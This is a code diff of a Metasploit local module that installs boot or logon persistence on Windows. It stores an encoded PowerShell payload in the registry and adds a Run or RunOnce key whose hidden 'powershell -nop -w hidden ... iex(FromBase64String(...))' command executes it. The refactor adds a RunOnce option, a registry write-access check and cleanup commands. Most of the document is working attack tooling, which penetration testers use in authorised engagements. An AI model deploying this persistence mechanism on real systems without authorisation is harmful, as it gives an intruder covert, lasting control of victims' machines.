@@ -9,6 +9,10 @@ class MetasploitModule < Msf::Exploit::Local
99 include Msf ::Exploit ::Powershell
1010 include Msf ::Post ::Windows ::Registry
1111 include Msf ::Post ::File
12+ include Msf ::Exploit ::Local ::Persistence
13+ prepend Msf ::Exploit ::Remote ::AutoCheck
14+ include Msf ::Exploit ::Deprecated
15+ moved_from 'exploits/windows/local/registry_persistence'
1216
1317 def initialize ( info = { } )
1418 super (
@@ -18,27 +22,31 @@ def initialize(info = {})
1822 'Description' => %q{
1923 This module will install a payload that is executed during boot.
2024 It will be executed either at user logon or system startup via the registry
21- value in "CurrentVersion\Run" (depending on privilege and selected method).
25+ value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
2226 The payload will be installed completely in registry.
2327 } ,
2428 'License' => MSF_LICENSE ,
2529 'Author' => [
26- 'Donny Maasland <donny.maasland[at]fox-it.com>' ,
30+ 'Donny Maasland <donny.maasland[at]fox-it.com>' , # original module
31+ 'h00die' ,
2732 ] ,
2833 'Platform' => [ 'win' ] ,
2934 'SessionTypes' => [ 'meterpreter' , 'shell' ] ,
3035 'Targets' => [
3136 [ 'Automatic' , { } ]
3237 ] ,
38+ 'References' => [
39+ [ 'ATT&CK' , Mitre ::Attack ::Technique ::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER ] ,
40+ [ 'ATT&CK' , Mitre ::Attack ::Technique ::T1112_MODIFY_REGISTRY ] ,
41+ [ 'URL' , 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys' ] ,
42+ [ 'URL' , 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/' ]
43+ ] ,
3344 'DefaultTarget' => 0 ,
3445 'DisclosureDate' => '2015-07-01' ,
35- 'DefaultOptions' => {
36- 'DisablePayloadHandler' => true
37- } ,
3846 'Notes' => {
39- 'Reliability' => UNKNOWN_RELIABILITY ,
40- 'Stability' => UNKNOWN_STABILITY ,
41- 'SideEffects' => UNKNOWN_SIDE_EFFECTS
47+ 'Reliability' => [ EVENT_DEPENDENT , REPEATABLE_SESSION ] ,
48+ 'Stability' => [ CRASH_SAFE ] ,
49+ 'SideEffects' => [ CONFIG_CHANGES , IOC_IN_LOGS ]
4250 }
4351 )
4452 )
@@ -52,25 +60,22 @@ def initialize(info = {})
5260 [ false , 'The name to use for storing the payload blob. (Default: random)' ] ) ,
5361 OptString . new ( 'RUN_NAME' ,
5462 [ false , 'The name to use for the \'Run\' key. (Default: random)' ] ) ,
55- OptBool . new ( 'CREATE_RC' ,
56- [ false , 'Create a resource file for cleanup' , true ] ) ,
5763 OptInt . new ( 'SLEEP_TIME' ,
5864 [ false , 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)' , 0 ] ) ,
65+ OptEnum . new ( 'REG_KEY' , [ true , 'Registry Key To Install To' , 'Run' , %w[ Run RunOnce ] ] ) ,
5966 ] )
6067 end
6168
6269 def generate_payload_blob
6370 opts = {
6471 wrap_double_quotes : true ,
65- encode_final_payload : true ,
72+ encode_final_payload : true
6673 }
67- blob = cmd_psh_payload ( payload . encoded , payload_instance . arch . first , opts ) . split ( ' ' ) [ -1 ]
68- return blob
74+ cmd_psh_payload ( payload . encoded , payload_instance . arch . first , opts ) . split ( ' ' ) [ -1 ]
6975 end
7076
7177 def generate_cmd ( root_path , blob_key_name , blob_key_reg )
72- cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \" sleep #{ datastore [ 'SLEEP_TIME' ] } ; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{ root_path } :#{ blob_key_name } ').GetValue('#{ blob_key_reg } '))))\" "
73- return cmd
78+ "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \" sleep #{ datastore [ 'SLEEP_TIME' ] } ; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{ root_path } :#{ blob_key_name } ').GetValue('#{ blob_key_reg } '))))\" "
7479 end
7580
7681 def generate_blob_reg
@@ -80,106 +85,70 @@ def generate_blob_reg
8085 end
8186
8287 def generate_cmd_reg
83- cmd_reg = datastore [ 'RUN_NAME' ] || Rex ::Text . rand_text_alphanumeric ( 8 )
84- return cmd_reg
88+ datastore [ 'RUN_NAME' ] || Rex ::Text . rand_text_alphanumeric ( 8 )
8589 end
8690
8791 def install_blob ( root_path , blob , blob_reg_key , blob_reg_name )
8892 blob_reg_key = "#{ root_path } \\ #{ blob_reg_key } "
8993 new_key = false
90- if not registry_enumkeys ( blob_reg_key )
94+ if ! registry_enumkeys ( blob_reg_key )
9195 unless registry_createkey ( blob_reg_key )
9296 fail_with ( Failure ::Unknown , "Failed to create key #{ blob_reg_key } " )
9397 end
9498 print_good ( "Created registry key #{ blob_reg_key } " )
9599 new_key = true
96100 end
97101
98- unless registry_setvaldata ( blob_reg_key , blob_reg_name , blob , " REG_SZ" )
102+ unless registry_setvaldata ( blob_reg_key , blob_reg_name , blob , ' REG_SZ' )
99103 fail_with ( Failure ::Unknown , 'Failed to open the registry key for writing' )
100104 end
101105 print_good ( "Installed payload blob to #{ blob_reg_key } \\ #{ blob_reg_name } " )
102106 return new_key
103107 end
104108
109+ def regkey
110+ datastore [ 'REG_KEY' ]
111+ end
112+
105113 def install_cmd ( cmd , cmd_reg , root_path )
106- unless registry_setvaldata ( "#{ root_path } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run " , cmd_reg , cmd , 'REG_EXPAND_SZ' )
114+ unless registry_setvaldata ( "#{ root_path } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ #{ regkey } " , cmd_reg , cmd , 'REG_EXPAND_SZ' )
107115 fail_with ( Failure ::Unknown , 'Could not install run key' )
108116 end
109- print_good ( "Installed run key #{ root_path } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run \\ #{ cmd_reg } " )
117+ print_good ( "Installed run key #{ root_path } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ #{ regkey } \\ #{ cmd_reg } " )
110118 end
111119
112120 def get_root_path
113- if datastore [ 'STARTUP' ] == 'USER'
114- root_path = 'HKCU'
115- else
116- root_path = 'HKLM'
117- end
118- return root_path
119- end
120-
121- def log_file ( log_path = nil ) # Thanks Meatballs for this
122- # Get hostname
123- host = session . session_host
124-
125- # Create Filename info to be appended to downloaded files
126- filenameinfo = "_" + ::Time . now . strftime ( "%Y%m%d.%M%S" )
127-
128- # Create a directory for the logs
129- if log_path
130- logs = ::File . join ( log_path , 'logs' , 'persistence' ,
131- Rex ::FileUtils . clean_path ( host + filenameinfo ) )
132- else
133- logs = ::File . join ( Msf ::Config . log_directory , 'persistence' ,
134- Rex ::FileUtils . clean_path ( host + filenameinfo ) )
135- end
121+ return 'HKCU' if datastore [ 'STARTUP' ] == 'USER'
136122
137- # Create the log directory
138- ::FileUtils . mkdir_p ( logs )
139-
140- # logfile name
141- logfile = ::File . join ( logs , Rex ::FileUtils . clean_path ( host + filenameinfo ) + '.rc' )
142- logfile
123+ 'HKLM'
143124 end
144125
145- def create_cleanup ( root_path , blob_reg_key , blob_reg_name , cmd_reg , new_key ) # Thanks Meatballs for this
146- clean_rc = log_file ( )
147- @clean_up_rc = ""
126+ def create_cleanup ( root_path , blob_reg_key , blob_reg_name , cmd_reg , new_key )
148127 @clean_up_rc << "reg deleteval -k '#{ root_path } \\ #{ blob_reg_key } ' -v '#{ blob_reg_name } '\n "
149128 if new_key
150129 @clean_up_rc << "reg deletekey -k '#{ root_path } \\ #{ blob_reg_key } '\n "
151130 end
152- @clean_up_rc << "reg deleteval -k '#{ root_path } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run' -v '#{ cmd_reg } '\n "
153- file_local_write ( clean_rc , @clean_up_rc )
154- print_status ( "Clean up Meterpreter RC file: #{ clean_rc } " )
155-
156- report_note ( :host => session . session_host ,
157- type : 'host.persistance.cleanup' ,
158- data : {
159- local_id : session . sid ,
160- stype : session . type ,
161- desc : session . info ,
162- platform : session . platform ,
163- via_payload : session . via_payload ,
164- via_exploit : session . via_exploit ,
165- created_at : Time . now . utc ,
166- commands : @clean_up_rc
167- } )
131+ @clean_up_rc << "reg deleteval -k '#{ root_path } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ #{ regkey } ' -v '#{ cmd_reg } '\n "
168132 end
169133
170134 def check
171- unless registry_enumkeys ( "HKLM\\ SOFTWARE\\ Microsoft\\ " ) . include? ( "PowerShell" )
172- return Msf ::Exploit ::CheckCode ::Safe
173- end
135+ return Msf ::Exploit ::CheckCode ::Safe ( 'System does not have powershell' ) unless registry_enumkeys ( 'HKLM\\SOFTWARE\\Microsoft\\' ) . include? ( 'PowerShell' )
174136
175- return Msf ::Exploit ::CheckCode ::Vulnerable
176- end
137+ vprint_good ( 'Powershell detected on system' )
177138
178- def exploit
179- unless registry_enumkeys ( "HKLM\\ SOFTWARE\\ Microsoft\\ " ) . include? ( "PowerShell" )
180- print_warning ( 'Warning: PowerShell does not seem to be available, persistence might fail' )
181- end
139+ # test write to see if we have access
140+ root_path = get_root_path
141+ rand = Rex ::Text . rand_text_alphanumeric ( 15 )
182142
143+ vprint_status ( "Checking registry write access to: #{ root_path } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ #{ regkey } \\ #{ rand } " )
144+ return Msf ::Exploit ::CheckCode ::Safe ( "Unable to write to registry path #{ root_path } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ #{ regkey } " ) if registry_createkey ( "#{ root_path } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run\\ #{ rand } " ) . nil?
145+
146+ registry_deletekey ( "#{ root_path } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ #{ regkey } \\ #{ rand } " )
147+
148+ Msf ::Exploit ::CheckCode ::Vulnerable ( 'Registry writable' )
149+ end
150+
151+ def install_persistence
183152 print_status ( 'Generating payload blob..' )
184153 blob = generate_payload_blob
185154 print_good ( "Generated payload, #{ blob . length } bytes" )
@@ -197,8 +166,6 @@ def exploit
197166 print_status ( 'Installing run key' )
198167 install_cmd ( cmd , cmd_reg , root_path )
199168
200- if datastore [ 'CREATE_RC' ]
201- create_cleanup ( root_path , blob_reg_key , blob_reg_name , cmd_reg , new_key )
202- end
169+ create_cleanup ( root_path , blob_reg_key , blob_reg_name , cmd_reg , new_key )
203170 end
204171end
0 commit comments